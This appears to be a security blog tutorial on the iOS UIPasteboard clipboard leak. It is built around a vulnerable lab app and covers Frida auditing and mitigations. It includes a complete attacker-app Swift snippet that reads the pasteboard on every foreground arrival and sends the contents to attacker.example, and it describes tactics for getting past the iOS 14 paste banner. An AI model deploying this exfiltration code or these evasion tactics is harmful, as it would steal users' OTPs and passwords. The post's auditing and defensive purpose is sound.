Home iOS - UIPasteboard Clipboard Leak
Post
Cancel

iOS - UIPasteboard Clipboard Leak

UIPasteboard’s general pasteboard is shared across every app on the device. When the user copies an OTP from their banking app, it sits in UIPasteboard.general.string until something else replaces it. Any other app can read it at any time. Banking apps that put sensitive data on the pasteboard, and most do, because it is the only way to give the user “Copy” buttons that work with system paste anywhere, leak whatever they copy.

iOS 14 added a banner that flashes “App pasted from X” to warn users about cross-app reads, but it only flashes when an app reads, not when the data persists.


The shape

LoginViewController.loginTapped writes the user’s password directly into the system pasteboard:

LoginViewController.swift writing password to UIPasteboard.general (highlight 1) and PII in log (highlight 2)


Highlight 1 is UIPasteboard.general.string = password - password written to the system-wide general pasteboard; any foreground app the user opens next can read it via UIPasteboard.general.string with no permission prompt.

Highlight 2 is print("[pasteboard] password copied: \(password)") - password also emitted to the unified log; visible in Console.app on macOS or any process reading os_log.

The password is now in the system pasteboard. Any app the user opens within the pasteboard’s expiration window can read it:

1
2
// Attacker app
let stolen = UIPasteboard.general.string    // gets the password VulnLabAppiOS just copied

iOS 14 added expiration policies (setItems(_:options:) with .expirationDate), but most apps do not bother. Default policy is “persists until replaced”.


The OTP exfiltration scenario

You open a banking app, request a transfer, the app sends an OTP via SMS. SMS arrives. You copy the code manually or via OS auto-fill. Either way the OTP ends up in the pasteboard.

You switch to your email app to check confirmation. Email app reads UIPasteboard.general on launch (because it has a “paste from clipboard” feature). The OTP is in the email app’s memory.

If the email app is malicious (compromised SDK, phishing app posing as legitimate), the OTP is exfiltrated to the attacker’s server.

The chain requires the attacker app to reach the foreground after the copy. iOS 14 added a transparency banner (“Email Pasted from Bank App”) but no access control — any foreground app can still read UIPasteboard.general.string. Background execution limits on iOS are what prevent silent background reads, not any pasteboard-specific restriction. “You open the malicious app to check email” is a foreground action that completes the read.


Identifying the bug

Decompile and grep:

1
strings Payload/VulnLabAppiOS.app/VulnLabAppiOS | grep -i pasteboard

For each match, look at what the app puts on the pasteboard. Good luck on finding it through grep lol. Sensitive content:

  • OTPs / 2FA codes
  • Passwords (some apps have “Copy password” buttons in their internal password manager features)
  • Auth tokens (debug builds sometimes do this, not always purged in release)
  • Account identifiers / IBAN-style numbers
  • Crypto wallet recovery phrases

Hook at runtime and tap the Login button in the app:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// frida -U -f com.vulnlab.iosapp --no-pause -l hook.js
// UIPasteboard.general returns a private concrete subclass; resolve it at runtime
// so the hook works regardless of the private class name Apple uses
setTimeout(function () {
  const pb = ObjC.classes.UIPasteboard.generalPasteboard();
  const impl = pb.$class['- setString:'];
  if (!impl) { console.log('[!] setString: not found on', pb.$className); return; }
  Interceptor.attach(impl.implementation, {
    onEnter: function (args) {
      console.log('[pasteboard] setString: ' + new ObjC.Object(args[2]).toString());
    }
  });
  console.log('[*] hooked setString: on', pb.$className);
}, 2000);

1
[UIPasteboard setString] value=hunter2


Attacker app

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class AppDelegate: UIResponder, UIApplicationDelegate {
    func application(_ app: UIApplication,
                     didFinishLaunchingWithOptions opts: ...) -> Bool {
        readAndExfil()
        NotificationCenter.default.addObserver(
            forName: UIApplication.didBecomeActiveNotification,
            object: nil, queue: nil) { _ in self.readAndExfil() }
        return true
    }

    func readAndExfil() {
        guard let s = UIPasteboard.general.string else { return }
        let url = "https://attacker.example/?d=" +
                  s.addingPercentEncoding(withAllowedCharacters: .urlQueryAllowed)!
        URLSession.shared.dataTask(with: URL(string: url)!).resume()
    }
}

Every foreground arrival of the attacker app reads whatever is currently in the pasteboard. If the user copied an OTP from their bank moments before, the attacker captures it.


The iOS 14+ banner, what it does and does not do

When an app reads UIPasteboard.general.string, iOS shows a banner: "Email Pasted from Bank App". The pasteboard contents are still readable — the banner is a transparency feature, not an access control.

For an attacker, the banner is a UX issue. The user might notice and become suspicious. Workarounds:

  • Read immediately on launch, before the user can react. By the time they see the banner, the data is already in the attacker’s server.
  • Use UIPasteboard.detectValues(for:completionHandler:) (iOS 14+) which only checks for the presence of data without reading. No banner. The attacker uses this to detect “an OTP is currently in the pasteboard” then prompts the user to “paste your OTP here” (in the attacker’s UI), making the user do the paste themselves. Banner now reads as user-initiated.

The framework’s transparency is real but does not stop the read.


The pattern types

UIPasteboard’s pasteboardTypes distinguishes plain text, URLs, images, and custom UTI types. Apps that share specific types:

1
UIPasteboard.general.setValue(otp, forPasteboardType: "com.target.app.otp")

A custom type means the attacker has to read that specific type, not just .string. Less commonly read by random other apps, but a targeted attacker who knows the type name reads it directly.

For the audit, look at every setValue(_:forPasteboardType:) call and check the type. Custom types reduce risk but do not eliminate it.


Defence

Three mitigations:

1
2
3
4
5
6
7
8
9
10
11
12
// 1. Expiration - only persists for one minute
UIPasteboard.general.setItems(
    [["public.utf8-plain-text": otp]],
    options: [.expirationDate: Date(timeIntervalSinceNow: 60)])

// 2. Local-only - does not sync across devices via Universal Clipboard
UIPasteboard.general.setItems(
    [["public.utf8-plain-text": otp]],
    options: [.localOnly: true])

// 3. Both, plus clear after the user finishes the OTP entry flow
UIPasteboard.general.string = ""

Apps that do all three minimize the window for cross-app reads. Apps that do none (the default) maximize the window.

For OTP specifically, the right pattern is textContentType = .oneTimeCode on the TextField, iOS auto-fills the OTP from the SMS directly into the field without going through the pasteboard. No copy needed.


Closing

UIPasteboard leak is the “user copies sensitive data, attacker app reads it on next foregrounding” pattern. The audit is one runtime hook. The defence is one method call away (setItems with expiration). Worth checking every “Copy” button in banking, payment, and password manager apps.

Happy Hacking !!

This post is licensed under CC BY 4.0 by the author.